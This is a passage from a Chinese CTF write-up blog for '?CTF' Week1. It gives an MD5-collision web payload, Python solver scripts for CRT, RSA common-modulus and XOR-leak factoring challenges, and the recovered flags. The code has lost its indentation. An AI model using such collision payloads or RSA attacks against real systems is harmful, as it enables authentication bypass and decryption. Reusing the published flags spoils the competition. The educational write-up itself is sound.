aaa = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&bbb = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

可能是POST太长了传不过去,只需要把最后的改为GET传输即可

这边可以看到最后的flag

flag{56809c55-5956-45f4-9618-f2abac62ed68}

Crypto

[Week1] Basic Number theory

是一个基于中国剩余定理CRT的题目

所以gift1可能是m mod p或者是-m mod p

所以我们最后可以解CRT式子

只需要遍历四种情况,然后和m的值进行比较,选出其中最合适的转化为字节即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Util.number import long_to_bytes

# 给定值
p = 71380997427449345634700552609577271052193856747526826598031269184817312570231
q = 65531748297495117965939047069388412545623909154912018722160805504300279801251
gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995
gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342

# 计算 n = p * q
n = p * q

# 定义CRT函数(针对两个模数)
def crt(a, p, b, q):
"""解方程组: x ≡ a mod p 且 x ≡ b mod q"""
# 计算p在模q下的逆元
inv_p = pow(p, -1, q)
k = (b - a) * inv_p % q
x = a + p * k
return x % (p * q)

# 枚举四种情况
candidates = []
# 情况1: m ≡ gift1 mod p, m ≡ gift2 mod q
candidates.append(crt(gift1, p, gift2, q))
# 情况2: m ≡ gift1 mod p, m ≡ (q - gift2) mod q
candidates.append(crt(gift1, p, q - gift2, q))
# 情况3: m ≡ (p - gift1) mod p, m ≡ gift2 mod q
candidates.append(crt(p - gift1, p, gift2, q))
# 情况4: m ≡ (p - gift1) mod p, m ≡ (q - gift2) mod q
candidates.append(crt(p - gift1, p, q - gift2, q))

# 检查每个候选m
for i, m_candidate in enumerate(candidates):
try:
flag_candidate = long_to_bytes(m_candidate)
# 检查是否包含常见flag格式(如可读ASCII)
if flag_candidate.startswith(b'flag{') or all(32 <= byte < 127 for byte in flag_candidate):
print(f"情况 {i+1} 成功: {flag_candidate}")
break
except:
continue
else:
print("未找到有效flag,请检查枚举情况。")

情况 4 成功: b‘flag{Th3_c0rner5t0ne_0f_C2ypt0gr@phy}’

[Week1] two Es

这边依旧打开

可以大概看见这些内容,是一道RSA的共模攻击

想象一下,您用同一把锁(模数 n)但不同的钥匙齿纹(加密指数 e1e2)给同一个箱子(明文 m)上锁,得到了两把不同的锁具(密文 c1c2)。共模攻击就像是一位锁匠,他不需要知道锁的内部结构(私钥 dp, q),仅仅通过观察这两把锁具和钥匙齿纹,就能巧妙地打开箱子。

由于我们知道了n,e1,e2,c1,c2

所以可以通过扩展欧几里得算法找到整数s1和s2使得e1s1+e2s2=1

所以现在我们有了s1和s2

由于我们知道

c1 ≡ m^e1 (mod n)

c2 ≡ m^e2 (mod n)

如果我们对密文进行如下运算:

c1^s1 · c2^s2 mod n

接下来,我们一步步推导:

c1^s1 · c2^s2 mod n

≡ (m^e1)^s1 · (m^e2)^s2 mod n(将 c1, c2用其定义替换)

≡ m^(e1·s1) · m^(e2·s2) mod n(幂的乘方法则:(a^b)^c = a^(b·c))

≡ m^(e1·s1 + e2·s2) mod n(同底数幂相乘,指数相加)

请注意,指数部分 e1·s1 + e2·s2正是我们根据贝祖定理得到的 1!

所以,上式最终简化为:

≡ m^1 mod n

≡ m

所以我们这样子就能通过共模攻击得到m了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from Crypto.Util.number import long_to_bytes
import math

# 给定数据
n = 118951231851047571559217335117170383889369241506334435506974203511684612137655707364175506626353185266191175920454931743776877868558249224244622243762576178613428854425451444084313631798543697941971483572795632393388563520060136915983419489153783614798844426447471675798105689571205618922034550157013396634443
e1 = 2819786085
e2 = 4203935931
c1 = 104852820628577684483432698430994392212341947538062367608937715761740532036933756841425619664673877530891898779701009843985308556306656168566466318961463247186202599188026358282735716902987474154862267239716349298652942506512193240265260314062483869461033708176350145497191865168924825426478400584516421567974
c2 = 43118977673121220602933248973628727040318421596869003196014836853751584691920445952955467668612608693138227541764934104815818143729167823177291260165694321278079072309885687887255739841571920269405948846600660240154954071184064262133096801059918060973055211029726526524241753473771587909852399763354060832968

# 计算 e1 和 e2 的 GCD
d = math.gcd(e1, e2)
print(f"GCD of e1 and e2: {d}")

# 扩展欧几里得算法,找到 s1 和 s2 使得 e1*s1 + e2*s2 = d
def extended_gcd(a, b):
if b == 0:
return (1, 0, a)
else:
x, y, g = extended_gcd(b, a % b)
return (y, x - (a // b) * y, g)

s1, s2, _ = extended_gcd(e1, e2)
print(f"s1 = {s1}, s2 = {s2}")

# 处理负指数:如果 s1 或 s2 为负,计算对应密文的模逆元
if s1 < 0:
c1_inv = pow(c1, -1, n)
c1_val = pow(c1_inv, -s1, n)
else:
c1_val = pow(c1, s1, n)

if s2 < 0:
c2_inv = pow(c2, -1, n)
c2_val = pow(c2_inv, -s2, n)
else:
c2_val = pow(c2, s2, n)

# 计算 T = c1^s1 * c2^s2 mod n = m^d mod n
T = (c1_val * c2_val) % n

# 尝试计算 T 的立方根(因为 d=3)
def integer_cube_root(x):
# 使用二分查找计算整数立方根
if x < 0:
return -integer_cube_root(-x)
low, high = 0, x
while low <= high:
mid = (low + high) // 2
mid3 = mid ** 3
if mid3 < x:
low = mid + 1
elif mid3 > x:
high = mid - 1
else:
return mid # 找到精确立方根
return None # 不是精确立方根

m_candidate = integer_cube_root(T)
if m_candidate is not None:
# 验证解密结果是否为文本
flag = long_to_bytes(m_candidate)
try:
print(flag.decode())
except UnicodeDecodeError:
print("Found integer but not valid text. Trying alternative methods...")
# 如果直接立方根失败,可能 m^3 >= n,需要解模方程 x^3 ≡ T mod n
# 但由于 n 是合数且大,分解困难,这里尝试小根攻击或其它方法可能不适用
# 建议检查 m 是否较小,或使用更高级的工具(如 gmpy2)
else:
print("T is not a perfect cube.可能需要更复杂的攻击(如分解 n 或使用 Coppersmith 方法)。")

GCD of e1 and e2: 3

s1 = -301370735, s2 = 202144138

flag{s01v3_rO0T_bY_7he_S4mE_m0dU1u5}

[Week1] xorRSA

叫xorRSA,看来是异或和RSA合起来了

告诉了我们p*q和p^q的值

这边其实就是解方程组

由于真的很大,似乎没有那么简单,z3一直都解不出来

麻烦的很啊。。以后还是让谢晨做密码算了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Cryptodome.Util.number import long_to_bytes, inverse

n = int("18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493")
e = 65537
c = int("17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494")
x = int("88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100")

def recover_prime_from_xor(n, x):
bits = n.bit_length()
candidates = [0] # possible low bits of p
for i in range(bits):
mask = (1 << (i+1)) - 1
a_low = x & mask
n_low = n & mask
new = []
for p_low in candidates:
for b in (0, 1):
p_try = p_low | (b << i)
q_try = p_try ^ a_low
if (p_try * q_try) & mask == n_low:
new.append(p_try)
if not new:
raise ValueError(f"no fit at bit {i}")
candidates = new # 保持所有可能,通常数量很小
# 尝试哪些候选是真正的质因子
for p in candidates:
if p and n % p == 0:
return p
q = p ^ x
if q and n % q == 0:
return n // q
raise ValueError("no factor found")

p = recover_prime_from_xor(n, x)
q = n // p
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("p bitlen =", p.bit_length(), "q bitlen =", q.bit_length())
print("flag =", flag)

flag{U5e_PruN1ng_41g0rI7hm_tO_sEarch}

[Week1] beyondHex

就那么点条件,说是Hex结果有个G

怀疑一下十七进制

一眼出了,这就是flag

所以这题只是个简单的十七进制转化而已

flag{welc0me_t0_?CTF!}

[Week1] Strange Machine

打开来需要先改为utf-8编码

然后大概就长成这样子

攻击步骤大约如上,我们试着填填看

确实输入一样的都不一样了,我们尝试计算出左移的偏移量

正好是左移12位

所以是offset=12


?CTF
https://mei-you-qian.github.io/2025/12/11/?CTF/
作者
Meiyouqian
发布于
2025年12月11日
许可协议